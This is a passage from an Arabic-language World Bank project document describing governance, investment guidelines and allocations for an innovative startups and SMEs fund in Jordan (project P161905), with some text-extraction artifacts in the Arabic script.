تنمية األعمال من خالل المشروع الشركات المستفيدة التي تديرها المرأة والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 الشركات المستفيدة التي يديرها الشباب والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار من خالل المشروع 600.00 600.00 600.00 480.00 360.00 240.00 120.00 0.00 الشركات المستفيدة التي تلقت خدمات تنمية األعمال من خالل المشروع 75.00 75.00 75.00 55.00 40.00 25.00 10.00 0.00 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 43 ملحق رقم 1 :وصف تفصيلي للمشروع الدولة: المملكة األردنية الهاشمية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية 1 .طلبت حكومة األردن قرضاً بقيمة 50 مليون دوالر أمريكي من البنك الدولي من أجل إنشاء مؤسسة تمويل تستثمر وتدعم الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. من أجل هذا الغرض سيتم استخدام قرض البنك الدولي إلنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مسجل كشركة أردنية يتم إدارتها وفقاً للممارسات التجارية الخالصة من قبل مدير خاص يتم اختياره على أساس تنافسي. سوف يكون الهدف الرئيسي لهذا الصندوق هو تنفيذ أنشطة المشروع، التي تتضمن القيام باستثمارات مساهمة في رأس المال، أو تمويل مختلط من رأس المال والدين في الشركات الناشئة االبتكارية من خالل الصندوق، أو بشكل غير مباشر عبر الصناديق، والقيام باألنشطة من خالل مؤسسات دعم النظام البيئي الشامل من أجل تحقيق تدفق جيد من االستثمارات المحتملة الناجحة. يتضمن القسم "ب" أدناه تفاصيل أنشطة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، الذي سوف يمارس عمله لمدة 12 عام مع إمكانية تمديد الفترة لثالث سنوات أخرى. 2 .سوف تكون الشركة األردنية لضمان القروض مسئولة عن إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ، واختيار مديراً له من القطاع الخاص، وضمان أن يتم تنفيذ المشروع وتقديم التقارير ذات الصلة،وفقاً للمعايير التي حددها البنك الدولي في دليل عمليات المشروع. ويلتزم البنك المركزي األردني باستثمار مبلغ قدره 48 مليون دوالر في هذا الصندوق إضافة إلى قرض صندوق البنك الدولي، لكن سيتم تحديد مراحل استراتيجية االستثمار لضمان مشاركة القطاع الخاص في االستثمار بالقدر الممكن. أ- الحوكمة ودور الجهات المعنية الرئيسية في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 3 .لن تشارك الحكومة في عمليات أو إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. سوف تقوم لجنة تمثل الحكومة بدور متابعة رفيع المستوى، حيث تتلقى تقارير بشكل سنوي من الشركة األردنية لضمان القروض بشأن إنجازات الصندوق فيما يتعلق بتحقيق الهدف اإلنمائي. وسوف تتألف هذه اللجنة من ممثلين من وزارة التخطيط والتعاون الدولي، والبنك المركزي األردني، ووزارة المالية، ووزارة االتصاالت وتكنولوجيا المعلومات. وفيما يلي هيكل الحوكمة ودور الهيئة التي تعد العضو الرئيسي في الصندوق: الشركة األردنية لضمان القروض 4 .سوف تنشئ الشركة االردنية لضمان القروض صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بطريقة قانونية باعتباره شركة مساهمة خاصة، وتمتلك 51 %من األسهم، في حين يتم منح 49 %من األسهم إلى البنك المركزي األردني. سوف تتولى الشركة األردنية منصب رئيس مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وسوف تكون الهيئة المنفذة للمشروع وفقاً لشروط البنك الدولي المسؤول عن ضمان تنفيذ الصندوق للمشروع بطريقة صحيحة، وتقديمه للتقارير ذات الصلة. ولكن لن يكون للشركة أي دور في تنفيذ األنشطة، أو اختيار االستثمارات، بل ستختار مدير الصندوق من القطاع الخاص على أن يتمتع بخبرة دولية. سوف تقوم عملية االختيار والتقييم إما على أساس الممارسات التنافسية، أو االختيار المباشر طبقاً لمبادئ المشتريات المحددة في دليل عمليات المشروع. سوف تعد تلزم بتشكيل لجنة تقييم مكونة من وتطرح الشركة األردنية الدعوة إلى تقديم عروض لشغل وظيفة مدير الصندوق، وسوف ُ خبراء مستقلين من القطاع الخاص. ويتم اختيار وتقييم مدير الصندوق استناداً إلى معايير وضعها البنك الدولي، ووافق عليها إضافة سوف تحرص الشركة األردنية ً مجلس إدارة الشركة األردنية دون ممانعة فنية من جانب البنك الدولي. إلى ذلك، لضمان القروض، إلى جانب تنفيذها ألنشطة المشروع، على أن يكون مدير الصندوق الذي يتم اختياره، مسؤوال عن جمع كافة البيانات والمعلومات المطلوبة لمؤشرات المشروع، واإلشراف على عملية تقديم التقارير إلى البنك الدولي عمال باإلرشادات الواردة في دليل عمليات المشروع بما في ذلك تلك المتعلقة باإلدارة المالية، ومبادئ المشتريات، والمبادئ التوجيهية للضمانات الوقائية. البنك المركزي األردني 5 .لن يكون للبنك المركزي األردني أي دور في عمل صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. لن يقدم البنك المركزي األردني سوى رأس المال، ويكون له وضع الشريك الموصي )أي ال يتمتع بحق الرفض، ولديه أسهم ال تخول له التصويت، وليس له مقعد في مجلس اإلدارة(. وفقاً لقانون الشركات، يمكن للبنك المركزي األردني االستعانة بالشركة األردنية لضمان القروض لتمثله في مجلس اإلدارة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 44 مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 6 .سوف يكون لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مجلس إدارة تختاره الشركة األردنية لضمان القروض وفقاً لقانون الشركات األردني، واستناداً إلى معايير البنك الدولي ودون ممانعة من جانبه. سيكون المدير العام للشركة األردنية لضمان القروض هو رئيس مجلس اإلدارة. سوف يتكون مجلس إدارة الصندوق، باإلضافة إلى المدير العام للشركة األردنية، من نحو ستة خبراء من القطاع الخاص في أنشطة تمويل رأس المال، وريادة األعمال، وقانون الشركات، والمحاسبة/المالية. ستكون مدة عمل مجلس اإلدارة أربع سنوات، وتنتهي عضوية أي عضو في مجلس اإلدارة بانتهاء مدة عمل مجلس اإلدارة أو بوفاته، أو باستقالته أو بإقالته من قبل المجلس، وسوف يتم يتم انتخاب أعضاء جدد للمجلس، وفقا للطريقة التي يحددها قانون الشركات األردني. ً أو تجديد عضوية أعضاء المجلس الحالي، 7 .يتعين أن يوافق مجلس اإلدارة على اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية على أساس توصيات لجنة التقييم. سوف يفوض المجلس مدير الصندوق للقيام بإدارة االستثمارات بما فيها كل عمليات اتخاذ القرار المتعلقة بتنفيذ كافة األنشطة، والعمليات األخرى بما في ذلك اختيار فريق العمل. كذلك سوف يوافق المجلس على اختيار لجنة االستثمار وتفويضها في أمر وضع استراتيجية االستثمار الخاصة بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، واختيار االستثمارات )كل االستثمارات أو استثمارات رأس المال التي تكون أقل من حد أدنى محدد(، ووضع جزاءات على سحب االستثمارات أو تجنب الجزاءات. سوف يكون مدير الصندوق جزء من لجنة االستثمار. سوف يحتفظ مجلس اإلدارة باإلشراف من أجل ضمان إنجاز الشركة ألعمالها ووفائها بالتزاماتها بشكل صحيح، وتحقيقها للهدف اإلنمائي. 8 .سوف يضطلع مجلس اإلدارة بعدة مسئوليات من بينها ما يلي: أ( اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية وفقا لمعايير البنك الدولي، دون ً ممانعة فنية من جانبه ب( اختيار لجنة االستثمار وفقاً لمعايير البنك الدولي، دون ممانعة فنية من جانبه ت( رئاسة اجتماعات لجنة االستثمار التي يتم خاللها اختيار أحد اعضاء مجلس اإلدارة لرئاسة المجلس )ال تشارك الشركة األردنية لضمان القروض في ذلك األمر( ث( فرض جزاءات على االستثمارات التي تحددها لجنة االستثمار، والتي تفوق قيمتها مستوى رأس المال المحدد، أو تفويض اختيار كافة االستثمارات إلى لجنة االستثمار. ال يمكن لمجلس اإلدارة اتخاذ أي قرار خاص باالستثمار أو بيع األصول دون توصية من لجنة االستثمار( ج( اإلشراف الكامل على أنشطة اإلدارة التنفيذية ح( تعيين مدقق داخلي لتنفيذ الهدف، وعمليات التدقيق المالي المستقلة التي تتم داخل المؤسسة خ( مهام أو تفويضات أخرى على النحو المنصوص عليه في قانون الشركات األردني 9 .للتأهل لعضوية مجلس اإلدارة، يتعين أن يتوافر في العضو ما يلي: أ( أال يكون تابع ا للحكومة ً ب( أن يكون لديه خبرة في مجال رأس المال المخاطر واالستثمار وقانون الشركات والمحاسبة ت( أن يكون لديه خبرة في النظام البيئي الشامل لريادة األعمال، سواء كمستثمر أو كرائد من رواد األعمال ث( أن يكون لديه تضارب مصالح محدود، أو ال يكون لديه إطالقاً – انظر الفقرة 25 أدناه بشأن تضارب المصالح ج( أن يكون لديه خبرة تحليلية وفنية وتشغيلية كبيرة مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 10 .سوف يضع مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية للجنة االستثمار استراتيجية االستثمار الخاصة بالصندوق من أجل تحقيق الهدف اإلنمائي للمشروع، وتطبيق المعايير، وسوف يكون وحده مسؤوال عن ضمان تنفيذ كل أنشطة المشروع بما في ذلك االستثمارات وتحقيق تدفق الصفقات. سوف يقوم مدير الصندوق بكافة األعمال الضرورية في التسويق والتواصل والتدريب وبناء القدرات إلى جانب تنظيم فعاليات الدعم والقيام باألنشطة المتعلقة بنجاح المشروع. سوف يكون مدير الصندوق مسئوال عن اختيار فريق عمل الصندوق، وكذلك سوف يكون مسئوال عن ضمان إتمام وفقا للمبادئ التوجيهية الخاصة بالبنك الدولي الموضحة تفصيال في دليل عمليات ً اإلجراءات التنفيذية، وتقديم التقارير المشروع. 11 .سوف تتم مكافأة مدير الصندوق بحسب أفضل الممارسات المطبقة في المجال، والتي تشمل هيكل مكافأة وحوافز يرتبط باألداء، وذلك لضمان تقديم مستثمري القطاع الخاص أقصى حد من التمويل )انظر ملحق رقم 2.) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 45 لجنة االستثمار 12 .لن يكون للشركة األردنية لضمان القروض، والبنك المركزي األردني، وأي ممثل للحكومة أو مسئول حكومي، أي دور في اختيار وإدارة االستثمارات، حيث يقع هذا ضمن نطاق مسئولية لجنة االستثمار الخاصة بالصندوق. سوف تتكون لجنة االستثمار من خمسة أعضاء من بينهم مدير الصندوق، ويتمثل هدفها في وضع استراتيجية االستثمار وتقييمها والموافقة عليها ومراجعة كافة أشكال توظيف رأس المال في برنامج الصندوق لحجم االستثمارات التي تقل عن المستوى المحدد الذي وافق عليه مجلس اإلدارة الذي يفوض اللجنة في اختيار الموافقة على كافة االستثمارات. وسوف تتولى اللجنة أيضاً كل عمليات التخارج وعمليات إعادة الهيكلة في كافة المجاالت التي يشارك فيها صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بحسب تفويض مجلس اإلدارة لها. 13 .يجب أن يحرص مجلس اإلدارة على أن يكون أعضاء لجنة االستثمار مالئمين ومؤهلين، وأن تتم عملية االختيار بشكل سليم، وأن يتم توزيع الصفات والمهام بحيث يتم تغطية كل نوع من أنواع االستثمارات سواء كانت مباشرة أو غير مباشرة. سوف يقترح مدير الصندوق على مجلس اإلدارة أسماء أعضاء لجنة االستثمار، في حين يتولى المجلس تعيين أعضاء لجنة وفقا لمعايير دليل عمليات المشروع دون ممانعة فنية من جانب البنك الدولي. ً االستثمار 14 .للتأهل لعضوية لجنة االستثمار، يتعين أن يتوافر في العضو ما يلي: أ( أال يكون تابع ا للحكومة ً ب( أن يكون لديه خبرة في مجال رأس المال المخاطر/ االستثمار ت( أن يكون لديه الخبرة في النظام البيئي الشامل لريادة األعمال، سواء كمستثمر، أو أحد رواد األعمال ث( أن يكون لديه تضارب مصالح محدود أو ال يكون لديه إطالقاً – انظر الفقرة 25 أدناه بشأن تضارب المصالح ج( أن يكون لديه خبرة تحليلية وفنية وتشغيلية كبيرة 15 .تتضمن مهام والتزامات لجنة االستثمار ما يلي: أ( الموافقة الرسمية على االستثمارات بحسب تفويض مجلس اإلدارة ب( فهم أهداف االستثمار طويلة وقصيرة المدى في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. ت( تبني ومراجعة سياسات االستثمار الخاصة بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ومبادئه التوجيهية. ث( وضع إطار استراتيجي داخل إطار الصندوق األكبر لتوظيف رأس المال ج( التصريح بتنفيذ أنشطة توظيف رأس المال في إطار المبادئ التوجيهية المحددة ح( متابعة ومراجعة أداء االستثمارات المباشرة وغير المباشرة بما في ذلك اتخاذ أي إجراءات تصحيحية إصالحية ضرورية بحسب ما تدعو الحاجة خ( الموافقة على كافة عمليات التخارج د( المهام اإلدارية ذ( مراجعة الموازنة السنوية والموافقة عليها والتي يجب أن يوافق عليها مجلس اإلدارة أيضاً ر( متابعة توظيف رأس المال، والموازنة السنوية لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ب- أنشطة المشروع برنامج تمويل مختلط من رأس المال والدين )قرض مصرفي بقيمة 75.44 مليون دوالر/ القيمة اإلجمالي للموازنة 5.53 مليون دوالر( 16 .سوف يعمل هذا النشاط على سد الفجوة التمويلية في ثالث فئات )رأس مال إقامة المشروعات، وتمويلها في المراحل المبكرة، ومرحلة رأس المال المخاطر(. سوف يستثمر صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في رأس المال، أو التمويل المختلط من رأس المال والدين بشكل مباشر في هذه المؤسسات إلى جانب صناديق االستثمار الخاصة، التي تسعى إلى تقديم تمويل في إطار اتفاق محدد، وبشكل غير مباشر من خالل القيام باستثمارات في المؤسسات المالية الوسيطة المخصصة لتمويل الشركات الناشئة، أو الشركات التي ال تزال في أولى مراحلها، أو مرحلة رأس المال المخاطر )مثل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 46 المعجالت، وشبكات رعاة األعمال، وصناديق رأس المال المخاطر ، ومنصات التمويل الجماعي وما شابه(. سوف تتجه الصناديق نحو دعم مستثمري القطاع الخاص في ما يقدمونه من دعم ما بعد االستثمار للمستفيدين. 17 .طوال مدة المشروع، والفترة األولى لالستثمار الخاص بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، من المتوقع أن يستثمر المشروع في نحو 200 شركة مختلفة في مراحل المخاطرة الكبرى الثالثة التي يتم تصنيفها على النحو التالي: مرحلة التأسيس )حجم االستثمار أقل من 280 ألف دوالر(، والمرحلة المبكرة لألعمال )حجم االستثمار بين 280 ألف و750 ألف دوالر(، ومرحلة رأس المال المخاطر )حجم االستثمار بين 750 ألف و3 مليون دوالر(. من المتوقع أن يتم توفير نحو 70 مليون دوالر من مستثمرين في القطاع الخاص بحسب عدد االستثمارات سواء كشركاء في االستثمار في الصناديق، أو كمستثمرين مشاركين في إطار اتفاقات. المشروعات المؤهلة 18 .حتى تكون المؤسسة الصغيرة أو المتوسطة مؤهلة لتلقي استثمارات من الصندوق سواء بشكل مباشر أو غير مباشر، يتعين أن يكون مقر المؤسسة في األردن وأن تنفذ عملياتها هناك، حتى إذا كان سوق المنتج المستهدف في الخارج. يشمل ذلك الشركات، التي تجمع بين مساهمين أجانب وأردنيين أو مقيمين في البلد. قد ال تشارك المؤسسة الصغيرة أو المتوسطة المؤهلة في أي من األنشطة، أو القطاعات المدرجة على قائمة النفقات السلبية الواردة في إطار اإلدارة البيئية واالجتماعية للمشروع، ودليل عمليات المشروع. 19 .يوضح الجدول 1-1 المبادئ التوجيهية رفيعة المستوى لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة الذي يمكن من خالله جمع رأس مال استثماري بقيمة إجمالية نحو 50 مليون دوالر خالل أول ست سنوات )فترة االستثمار األولى(. بعد مرور ست سنوات، سوف يحصل الصندوق على مساهمة إضافية من البنك المركزي األردني ليتم استخدامها في متابعة التمويل، وفي دورة ثانية من االستثمارات في رأس المال )دورة االستثمار الثانية(. وهذا الجدول هو جدول داللي، وإستراتيجية االستثمار قابلة للتعديل، ويتم إعادة توزيع المخصصات بها بحسب متطلبات السوق. سوف تحتاج أي تغيرات كبيرة في استراتيجية االستثمار، وتوزيع المخصصات، إلى موافقة مجلس إدارة الصندوق والبنك الدولي خالل مدة المشروع، وموافقة مجلس اإلدارة بعد انتهاء مشروع البنك الدولي. جدول رقم 1-1 .معايير االستثمار الشامل طوال فترة تنفيذ المشروع )6 سنوات(* النوع االستثمارات غير المباشرة االستثمار المباشر مرحلة التأسيس )أقل من المرحلة 280 ألف دوالر( المرحلة المبكرة )280 ألف دوالر – 750 ألف دوالر( مشروع رأس المال المخاطر 750 ألف دوالر – 2 مليون دوالر المرحلة المبكرة وما بعدها مخصصات صندوق 7 مليون دوالر 14 مليون دوالر 24 مليون دوالر 5 مليون دوالر المشروعات الناشئة القطاعات الجهات الفاعلة معجالت أو حاضنات األعمال + صناديق تمويل مرحلة التأسيس معجالت أو حاضنات األعمال + صناديق أو شبكات رعاة األعمال المرحلة المبكرة وصناديق رأس المال المخاطر االستثمار المشترك مع معجالت أو حاضنات األعمال صناديق رعاة األعمال ورأس المال المخاطر حجم الفرصة حجم الصندوق يتراوح ما بين 2 مليون دوالر إلى 5 مليون دوالر أمريكي حجم الصندوق يتراوح ما بين 5 مليون دوالر إلى 15 مليون دوالر أمريكي حجم الصندوق يزيد عن 15 مليون دوالر أمريكي يرفع االستثمار القيمة اإلجمالية لتصل إلى 500 ألف دوالر إلى 5.1 مليون دوالر أمريكي دعم صندوق المشروعات الناشئة حتى 5.1 مليون دوالر أمريكي لكل صندوق حتى 5.3 مليون دوالر أمريكي لكل صندوق حتى 5.5 مليون دوالر أمريكي لكل صندوق استثمار 200 ألف مليون دوالر إلى 500 ألف دوالر في كل شركة ناشئة عدد الصناديق 3-4 صناديق 3-4 صناديق 3-4 صناديق ال ينطبق المستهدفة الروافع المالية في القطاع الخاص )بالتقريب( 2 مليون دوالر لكل صندوق )بإجمالي 7 مليون دوالر أمريكي( 7 مليون دوالر لكل صندوق )بإجمالي 24 مليون دوالر أمريكي( 5.9 مليون دوالر لكل صندوق )بإجمالي 33 مليون دوالر أمريكي( 250 ألف دوالر إلى مليون دوالر أمريكي لكل صفقة )بإجمالي 5.7 مليون دوالر( معايير رفيعة المستوى لكل استثمار ** أقل من 40 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية االستثمار المشترك فقط، ال تزيد النسبة عن 50 %من كل جولة. عدد الشركات )بالتقريب )شركة 15 – 10 شركة 40 – 30 شركة 70 – 60 شركة 80 – 70 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 47 * يتضمن أموال مشروعات البنك الدولي واألموال المخصصة من مساهمات البنك المركزي األردني ** يرجى الرجوع إلى المبادئ التوجيهية لالستثمارات المباشرة وغير المباشرة المبادئ التوجيهية لالستثمارات غير المباشرة أ. الغرض من هذا المخصص هو تمكين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من إنشاء نظام بيئي شامل مستدام للتمويل )صندوق أو ما شابه( يوفر بدوره التمويل للصندوق لزيادة رأس المال في القطاع الخاص مع االستثمار في مختلف مراحل الشركات الناشئة )انظر الفقرة 18 الخاصة بوصف المشروعات المؤهلة(. ب. سيكون من الضروري أن تشمل صناديق مرحلة ما قبل التأسيس ومرحلة التأسيس والمرحلة المبكرة، عنصر تدريبي في مهمتها التي تستهدف كل من الشركات الناشئة والمستثمرين. كذلك سوف يتعين عليها، إن كان ذلك مالئ ًما، إنشاء شبكة من الموجهين والناصحين الذين يمكن لالستثمارات أو النظام البيئي االستفادة منها. سوف يكون على تلك البرامج التعاون مع الصندوق في تنفيذ أنشطة بناء الصناعة تلك إلى جانب الجهات المعنية األساسية في النظام البيئي الشامل مثل الجامعات. ت. يمكن أن يتم تخصيص األموال من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية لصناديق متعددة )استثمارات غير مباشرة( خالل المرحلة األولى من التمويل، لكن ينبغي احتسابها على أساس إجمالي ما تم جمعه من أموال. من الممكن أن يساعد التقدم في بدء وتدشين العمليات. ث. يمكن أن يتقدم كل مدير صندوق للحصول على مخصصين كحد أقصى من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. ويمكن أن يتم ذلك في نفس الوقت الذي يقوم فيه الصندوق بالتعامل مع العناصر المختلفة للنظام البيئي. ثا أو ً ج. سوف يكون من الضروري أن يتم منح 50 %على األقل من رأس المال الذي يتم تخصيصه إلى صناديق تم تأسيسها حدي مديري هذه الصناديق. ح. معايير تقييم استثمارات أحد الصناديق: عند تقييم استثمار، يجب وضع العناصر التالية في االعتبار: سجل إنجازات يتضمن )يجب أن يخلو تقرير التدقيق من أي آراء سلبية أو معبرة عن إخالء الذمة في السنوات الثالثة 28 القوائم المالية المدققة السابقة(، الهيكل المالي، واإلدارة أو الفريق المالي، واستراتيجية استثمار، ومحور التركيز أو القطاع أو السوق، واالستدامة، ومخاطر االعتماد على شخص واحد والمراحل والموازنات والعائدات التجارية، واقتصاديات الصندوق )أي رسوم اإلدارة، والحد األدنى للعائد، وما إلى ذلك(، وحجم الصندوق ومدة بقائه والتأثير التنموي. سيتم إتاحة تقارير العناية الواجبة الخاصة باالستثمارات للبنك الدولي عند الطلب. الصناديق المؤهلة 20 .للحصول على رأس مال من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ينبغي أن يتوافر لدى مالية مدققة طبقً الصندوق المؤهل حضور مادي فعلي في األردن، ويستثمر في شركات توجد فعلياً في األردن، ولديه قوائم ا لمعايير المشروعات المشار إليها في دليل عمليات المشروع. ويجب أن يستوفي الصندوق المتطلبات المالية حتى يدير وينفذ االستثمارات المقبولة لدى البنك الدولي على النحو المشار إليه في دليل عمليات المشروع. وقد يتضمن ذلك في حال انطباقه الشركات التي بدأت ممارسة عمليات منذ سنتين وتتبع أنظمة مالية سليمة، وقوائم مالية مدققة من قبل مدقق حاصل على ترخيص من جمعية المحاسبين القانونيين األردنيين، وليس لديها آراء سلبية أو معبرة عن إخالء المسئولية في السنوات الثالثة السابقة. كذلك ال يجب أن تكون في وضع تقاضي، أو على قائمة الشركات المحظورة في األردن أو لدى البنك الدولي. بالمثل، يجب أال يكون ألي من أفراد العمل الرئيسيين في الشركة )المالك أو الرئيس التنفيذي( سجل جنائي، وغير مدرجين على أي قائمة سوداء وضعتها الشركة األردنية لضمان القروض أو البنك الدولي. المبادئ التوجيهية لالستثمارات المباشرة أ( الغرض من هذا التخصيص هو تمكين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة من دعم الشركات الناشئة الذي يمكن الحصول عليه من أي من الصناديق التي يدعمها برنامج الصندوق أو الذي تم الحصول عليه مباشرًة من النظام البيئي الشامل )انظر الفقرة 18 الخاصة بوصف المشروعات المؤهلة(. ب( ينبغي أن يوجد لدى الشركة مستثمرون مشاركون، حيث لن يساهم الصندوق سوى بجزء من إجمالي رأس المال -يمكن الرجوع إلى الجدول رقم 1-1. ت( يجب على المستثمر الرئيسي في الفرصة تقديم كل ما يدل على إتمام عملية العناية الواجبة لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. بالنسبة للهيئات بالغة الصغر والهيئات التي لم يتجاوز نشاطها السنة الواحدة، سوف تلتزم بتقديم قوائم مالية بسيطة بعد مراجعتها حتى يُطلب منها 28 تقديم قوائم مالية مدققة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 48 ث( ينبغي أن تساهم الفرصة في تحقيق معدل العائد الداخلي المتوقع أو 15 %على األقل. ج( يمكن ألي شركة التقدم بطلب للحصول على استثمارات صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مرتين كحد أقصى طوال دورة عملها. إذا قامت الشركة بالتقدم بطلب للمرة الثانية للحصول على استثمارات، يجب أن تكون الشركة قد نفذت أغلب افتراضات الحالة االبتدائية خالل االستثمار األول. ح( هيكل االستثمار  رأس المال: في صورته األبسط، االستثمار المباشر في رأس المال يستهدف الشركات حيث يشارك الصندوق في رأس مال الكيان بحسب القيمة المتفق عليها. يمكن تعديل هذا الهيكل المباشر بحيث يتم القيام باالستثمار على مراحل أو خطوات. من الممكن مقارنة الخطوات باألهداف أو اإلنجازات أو إطار زمني محدد، يمكن كذلك تعديل قيمة االشتراك بالزيادة أو النقصان في حال عدم تحقيق اإلنجازات أو في حال تجاوز التوقعات.  الديون القابلة للتحويل: يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية تمويل للمشروع على هيئة ا قرض بسعر فائدة متفق عليه، لكن يصبح القرض قابل للتحويل إلى مساهمة في رأس المال في المشروع المستهدف، وأحيانً يتم ذلك بصورة تلقائية، وفي أحيان أخرى يخضع ذلك الختيار الصندوق.  سوف يتجه صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في أكثر األحوال، بحسب موافقة لجنة االستثمار، إلى توقيع اتفاق غير ملزم يوضح الهيكل الكامل لصفقة ما. الهدف من هذا هو توضيح النية، والهيكل الكامل الذي تم تصوره. يخضع هذا االتفاق غير الملزم للتغير استناًدا إلى نتيجة العناية الواجبة.  دون النظر إلى هيكل االستثمار، سوف تكون هناك حاجة إلى تضمين أحكام وقائية معيارية محددة في االتفاقات المتعددة. من بين هذه األحكام بنود مثل، حقوق االرتباط عند البيع وحق الرفض للمرة األولى وحق التدقيق، وعدد المقاعد في مجلس اإلدارة، واألهداف، وعدم التنافس، وبنود المتخارج بشكل جيد والمتخارج بشكل سيء، إلى جانب العديد من الحقوق التي يتم االحتفاظ بها. يتم تحديد تلك البنود بحسب كل حالة، ويكون الهدف منها باألساس هو حماية مخاطر الجانب السلبي لنقص األموال. خ( معايير تقييم االستثمار المباشر: عند تقييم استثمار مشترك، ينبغي أن يتم وضع ما يلي في االعتبار: فريق العمل، ومرحلة االستثمار، وحجم السوق، والميزة النسبية، والتحقق من السوق، ونموذج العمل، واقتصاديات الوحدة، والمخاطر، والتقييم، والتخارج، وسجل إنجازات يتضمن قوائم مالية مدققة )يجب أن يخلو تقرير التدقيق من أي آراء سلبية أو معبرة عن إخالء الذمة 29 في السنوات الثالثة السابقة. سوف يتم إتاحة تقارير العناية الواجبة الخاصة باالستثمار للبنك الدولي عند الطلب. عملية اختيار االستثمار 21 .سيقوم مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بإعداد جدول أعمال لالجتماع، يتضمن ملف خاص بكل طلب، وتوزيعها على أعضاء اللجنة أو أعضاء مجلس اإلدارة في حال فرض مجلس اإلدارة عقوبة على استثمار ما يفوق مستوى محدد غير مفوض به للجنة االستثمار، على األقل قبل خمسة أيام عمل من كل اجتماع لتمكين اللجنة، أو مجلس اإلدارة في حاالت محددة، من اتخاذ قرارات تستند إلى معلومات كافية. سوف يسفر تصويت باألغلبية البسيطة عن اتخاذ قرار. سيكون للرئيس صوت مرجح في حال تعادل عدد األصوات. إذا كان الرئيس غائب عن االجتماع، يختار األعضاء الباقون واحًدا منهم ليحل محل الرئيس في ذلك االجتماع. 22 .سوف تحتفظ لجنة االستثمار/ مجلس اإلدارة بمحاضر أو سجالت اجتماع واضحة وسجالت بأنشطة اللجنة/ مجلس اإلدارة، والتي يجب توزيعها على كافة أعضاء اللجنة/ مجلس اإلدارة الذين حضروا االجتماع في غضون )10 )أيام عمل من أجل الموافقة عليها وتوقيعها فيما بعد. وسوف يتم توزيع محاضر االجتماعات على كافة األعضاء بمجرد التوقيع. 23 .سوف سيتم تأكيد القرارات التي اتخذتها لجنة االستثمار/ مجلس اإلدارة من خالل القرارات التي يتم اتخاذها خالل اجتماع وتسجيلها في محضر االجتماع المقصود، أو من خالل قرار كتابي، يشمل موافقة واضحة عن طريق البريد اإللكتروني، موقعة من كافة أعضاء اللجنة. بالنسبة للهيئات بالغة الصغر والهيئات التي لم يتجاوز نشاطها السنة الواحدة، سوف تلتزم بتقديم قوائم مالية بسيطة بعد مراجعتها حتى يُطلب منها 29 تقديم قوائم مالية مدققة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 49 24 .سوف تكون لجنة االستثمار مسئولة عن تعيين أي مستشار مستقل أو مستشارين آخرين تستعين بهم ودفع أتعابهم واإلشراف على عملهم، وسوف يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية التمويل المناسب لدفع أتعاب معقولة إلى أي مستشار مستقل أو مستشارين آخرين تستعين بهم اللجنة. تضارب المصالح 25 .سوف يعتمد مجلس اإلدارة مدونة سلوكية، وسياسات وإجراءات خاصة بتضارب المصالح، وينفذ عدة إجراءات لتخفيف حدة تضارب المصالح التي قد تنشأ. يتضمن دليل عمليات المشروع تفاصيل هذه السياسات واإلجراءات، إلى جانب إجراءات الحد من هذا األمر. يجب أن يكشف أعضاء اللجنة وأعضاء مجلس اإلدارة، وأي شخص آخر يحضر اجتماع اختيار االستثمار 